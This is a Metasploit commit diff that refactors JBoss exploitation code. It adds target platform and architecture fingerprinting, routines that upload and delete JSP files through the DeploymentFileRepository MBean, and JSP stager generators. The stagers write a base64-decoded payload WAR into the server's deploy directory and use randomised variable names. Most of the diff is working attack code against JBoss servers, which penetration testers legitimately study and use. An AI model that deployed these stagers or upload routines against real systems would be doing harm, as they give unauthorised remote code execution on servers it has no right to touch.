Skip to content

Commit 37fbe96

Browse files
committed
Land rapid7#3729, @us3r777's Jboss deploymentfilerepository refactoring
2 parents 1cc6dc6 + 54705ee commit 37fbe96

12 files changed

+502
-358
lines changed

lib/msf/http/jboss.rb

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -5,13 +5,17 @@ module Msf
55
module HTTP
66
module JBoss
77
require 'msf/http/jboss/base'
8-
require 'msf/http/jboss/bean_shell_scripts'
98
require 'msf/http/jboss/bean_shell'
9+
require 'msf/http/jboss/bean_shell_scripts'
10+
require 'msf/http/jboss/deployment_file_repository'
11+
require 'msf/http/jboss/deployment_file_repository_scripts'
1012

1113
include Msf::Exploit::Remote::HttpClient
1214
include Msf::HTTP::JBoss::Base
13-
include Msf::HTTP::JBoss::BeanShellScripts
1415
include Msf::HTTP::JBoss::BeanShell
16+
include Msf::HTTP::JBoss::BeanShellScripts
17+
include Msf::HTTP::JBoss::DeploymentFileRepository
18+
include Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
1519

1620
def initialize(info = {})
1721
super

lib/msf/http/jboss/base.rb

Lines changed: 93 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ module Msf::HTTP::JBoss::Base
55
# Deploys a WAR through HTTP uri invoke
66
#
77
# @param opts [Hash] Hash containing {Exploit::Remote::HttpClient#send_request_cgi} options
8-
# @param num_attempts [Integer] The number of attempts
8+
# @param num_attempts [Integer] The number of attempts
99
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response if exists, nil otherwise
1010
def deploy(opts = {}, num_attempts = 5)
1111
uri = opts['uri']
@@ -46,4 +46,96 @@ def http_verb
4646
datastore['VERB']
4747
end
4848

49+
50+
# Try to auto detect the target architecture and platform
51+
#
52+
# @param [Array] The available targets
53+
# @return [Msf::Module::Target, nil] The detected target or nil
54+
def auto_target(available_targets)
55+
if http_verb == 'HEAD'
56+
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
57+
else
58+
print_status("Attempting to automatically select a target...")
59+
res = query_serverinfo
60+
plat = detect_platform(res)
61+
unless plat
62+
print_warning('Unable to detect platform!')
63+
return nil
64+
end
65+
66+
arch = detect_architecture(res)
67+
unless arch
68+
print_warning('Unable to detect architecture!')
69+
return nil
70+
end
71+
72+
# see if we have a match
73+
available_targets.each { |t| return t if t['Platform'] == plat && t['Arch'] == arch }
74+
end
75+
76+
# no matching target found, use Java as fallback
77+
java_targets = available_targets.select {|t| t.name =~ /^Java/ }
78+
79+
java_targets[0]
80+
end
81+
82+
# Query the server information from HtmlAdaptor
83+
#
84+
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response or nil
85+
def query_serverinfo
86+
path = normalize_uri(target_uri.path.to_s, 'HtmlAdaptor')
87+
res = send_request_cgi(
88+
{
89+
'uri' => path,
90+
'method' => http_verb,
91+
'vars_get' =>
92+
{
93+
'action' => 'inspectMBean',
94+
'name' => 'jboss.system:type=ServerInfo'
95+
}
96+
})
97+
98+
unless res && res.code == 200
99+
print_error("Failed: Error requesting #{path}")
100+
return nil
101+
end
102+
103+
res
104+
end
105+
106+
# Try to autodetect the target platform
107+
#
108+
# @param res [Rex::Proto::Http::Response] the http response where fingerprint platform from
109+
# @return [String, nil] The target platform or nil
110+
def detect_platform(res)
111+
if res && res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m
112+
os = $1
113+
if (os =~ /Linux/i)
114+
return 'linux'
115+
elsif (os =~ /FreeBSD/i)
116+
return 'linux'
117+
elsif (os =~ /Windows/i)
118+
return 'win'
119+
end
120+
end
121+
122+
nil
123+
end
124+
125+
# Try to autodetect the target architecture
126+
#
127+
# @param res [Rex::Proto::Http::Response] the http response where fingerprint architecture from
128+
# @return [String, nil] The target architecture or nil
129+
def detect_architecture(res)
130+
if res && res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m
131+
arch = $1
132+
if arch =~ /(x86|i386|i686)/i
133+
return ARCH_X86
134+
elsif arch =~ /(x86_64|amd64)/i
135+
return ARCH_X86
136+
end
137+
end
138+
139+
nil
140+
end
49141
end

lib/msf/http/jboss/bean_shell_scripts.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
# -*- coding: binary -*-
22

33
module Msf::HTTP::JBoss::BeanShellScripts
4-
4+
55
# Generates a Bean Shell Script.
66
#
77
# @param type [Symbol] The Bean Shell script type, `:create` or `:delete`.
Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
# -*- coding: binary -*-
2+
3+
module Msf::HTTP::JBoss::DeploymentFileRepository
4+
5+
# Upload a text file with DeploymentFileRepository.store()
6+
#
7+
# @param base_name [String] The destination base name
8+
# @param jsp_name [String] The destanation file name
9+
# @param content [String] The content of the file
10+
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response, nil if timeout
11+
def upload_file(base_name, jsp_name, content)
12+
params = { }
13+
params.compare_by_identity
14+
params['action'] = 'invokeOpByName'
15+
params['name'] = 'jboss.admin:service=DeploymentFileRepository'
16+
params['methodName'] = 'store'
17+
params['argType'] = 'java.lang.String'
18+
params['arg0'] = base_name + '.war'
19+
params['argType'] = 'java.lang.String'
20+
params['arg1'] = jsp_name
21+
params['argType'] = 'java.lang.String'
22+
params['arg2'] = '.jsp'
23+
params['argType'] = 'java.lang.String'
24+
params['arg3'] = content
25+
params['argType'] = 'boolean'
26+
params['arg4'] = 'True'
27+
28+
opts = {
29+
'method' => http_verb,
30+
'uri' => normalize_uri(target_uri.path.to_s, '/HtmlAdaptor')
31+
}
32+
33+
if http_verb == 'POST'
34+
opts.merge!('vars_post' => params)
35+
else
36+
opts.merge!('vars_get' => params)
37+
end
38+
39+
send_request_cgi(opts)
40+
end
41+
42+
# Delete a file with DeploymentFileRepository.remove().
43+
#
44+
# @param folder [String] The destination folder name
45+
# @param name [String] The destination file name
46+
# @param ext [String] The destination file extension
47+
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response, nil if timeout
48+
def delete_file(folder, name, ext)
49+
params = { }
50+
params.compare_by_identity
51+
params['action'] = 'invokeOpByName'
52+
params['name'] = 'jboss.admin:service=DeploymentFileRepository'
53+
params['methodName'] = 'remove'
54+
params['argType'] = 'java.lang.String'
55+
params['arg0'] = folder
56+
params['argType'] = 'java.lang.String'
57+
params['arg1'] = name
58+
params['argType'] = 'java.lang.String'
59+
params['arg2'] = ext
60+
61+
opts = {
62+
'method' => http_verb,
63+
'uri' => normalize_uri(target_uri.path.to_s, '/HtmlAdaptor')
64+
}
65+
66+
if http_verb == 'POST'
67+
opts.merge!('vars_post' => params)
68+
timeout = 5
69+
else
70+
opts.merge!('vars_get' => params)
71+
timeout = 30
72+
end
73+
send_request_cgi(opts, timeout)
74+
end
75+
76+
end
Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
# -*- coding: binary -*-
2+
3+
module Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
4+
5+
# Generate a stager JSP to write the second stager to the
6+
# deploy/management directory. It is only used with HEAD/GET requests
7+
# to overcome the size limit in those requests
8+
#
9+
# @param stager_base [String] The name of the base of the stager.
10+
# @param stager_jsp [String] The name name of the jsp stager.
11+
# @return [String] The JSP head stager.
12+
def head_stager_jsp(stager_base, stager_jsp_name)
13+
content_var = Rex::Text.rand_text_alpha(8+rand(8))
14+
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
15+
jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8))
16+
fos_var = Rex::Text.rand_text_alpha(8+rand(8))
17+
bw_var = Rex::Text.rand_text_alpha(8+rand(8))
18+
head_stager_jsp_code = <<-EOT
19+
<%@page import="java.io.*,
20+
java.util.*"
21+
%>
22+
<%
23+
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
24+
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp_name}" + ".jsp";
25+
try {
26+
String #{content_var} = "";
27+
String parameterName = (String)(request.getParameterNames().nextElement());
28+
#{content_var} = request.getParameter(parameterName);
29+
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
30+
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
31+
#{bw_var}.write(#{content_var});
32+
#{bw_var}.close();
33+
}
34+
catch(Exception e) { }
35+
%>
36+
EOT
37+
head_stager_jsp_code
38+
end
39+
40+
# Generate a stager JSP to write a WAR file to the deploy/ directory.
41+
# This is used to bypass the size limit for GET/HEAD requests.
42+
#
43+
# @param app_base [String] The name of the WAR app to write.
44+
# @return [String] The JSP stager.
45+
def stager_jsp_with_payload(app_base, encoded_payload)
46+
decoded_var = Rex::Text.rand_text_alpha(8+rand(8))
47+
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
48+
jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8))
49+
fos_var = Rex::Text.rand_text_alpha(8+rand(8))
50+
content_var = Rex::Text.rand_text_alpha(8+rand(8))
51+
52+
stager_jsp = <<-EOT
53+
<%@page import="java.io.*,
54+
java.util.*,
55+
sun.misc.BASE64Decoder"
56+
%>
57+
<%
58+
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
59+
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{app_base}.war";
60+
try {
61+
String #{content_var} = "#{encoded_payload}";
62+
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
63+
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
64+
#{fos_var}.write(#{decoded_var});
65+
#{fos_var}.close();
66+
}
67+
catch(Exception e){ }
68+
%>
69+
EOT
70+
71+
stager_jsp
72+
end
73+
74+
75+
76+
end

modules/auxiliary/admin/http/jboss_bshdeployer.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -126,8 +126,9 @@ def run
126126

127127
case action.name
128128
when 'Deploy'
129-
unless File.exist?(datastore['WARFILE'])
129+
unless datastore['WARFILE'] && File.exist?(datastore['WARFILE'])
130130
print_error("WAR file not found")
131+
return
131132
end
132133
war_data = File.read(datastore['WARFILE'])
133134
deploy_action(app_base, war_data)

modules/exploits/multi/http/jboss_bshdeployer.rb

Lines changed: 1 addition & 70 deletions
Original file line numberDiff line numberDiff line change
@@ -96,7 +96,7 @@ def exploit
9696
mytarget = target
9797

9898
if target.name =~ /Automatic/
99-
mytarget = auto_target
99+
mytarget = auto_target(targets)
100100
unless mytarget
101101
fail_with(Failure::NoTarget, "Unable to automatically select a target")
102102
end
@@ -195,73 +195,4 @@ def exploit
195195
handler
196196
end
197197

198-
def auto_target
199-
if http_verb == 'HEAD' then
200-
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
201-
else
202-
print_status("Attempting to automatically select a target...")
203-
res = query_serverinfo
204-
if not (plat = detect_platform(res))
205-
fail_with(Failure::NoTarget, 'Unable to detect platform!')
206-
end
207-
208-
if not (arch = detect_architecture(res))
209-
fail_with(Failure::NoTarget, 'Unable to detect architecture!')
210-
end
211-
212-
# see if we have a match
213-
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
214-
end
215-
216-
# no matching target found, use Java as fallback
217-
java_targets = targets.select {|t| t.name =~ /^Java/ }
218-
return java_targets[0]
219-
end
220-
221-
def query_serverinfo
222-
path = normalize_uri(target_uri.path.to_s, '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo')
223-
res = send_request_raw(
224-
{
225-
'uri' => path,
226-
'method' => http_verb
227-
})
228-
229-
unless res && res.code == 200
230-
print_error("Failed: Error requesting #{path}")
231-
return nil
232-
end
233-
234-
res
235-
end
236-
237-
# Try to autodetect the target platform
238-
def detect_platform(res)
239-
if res && res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m
240-
os = $1
241-
if (os =~ /Linux/i)
242-
return 'linux'
243-
elsif (os =~ /FreeBSD/i)
244-
return 'linux'
245-
elsif (os =~ /Windows/i)
246-
return 'win'
247-
end
248-
end
249-
250-
nil
251-
end
252-
253-
# Try to autodetect the target architecture
254-
def detect_architecture(res)
255-
if res && res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m
256-
arch = $1
257-
if (arch =~ /(x86|i386|i686)/i)
258-
return ARCH_X86
259-
elsif (arch =~ /(x86_64|amd64)/i)
260-
return ARCH_X86
261-
end
262-
end
263-
264-
nil
265-
end
266-
267198
end

0 commit comments

Comments
 (0)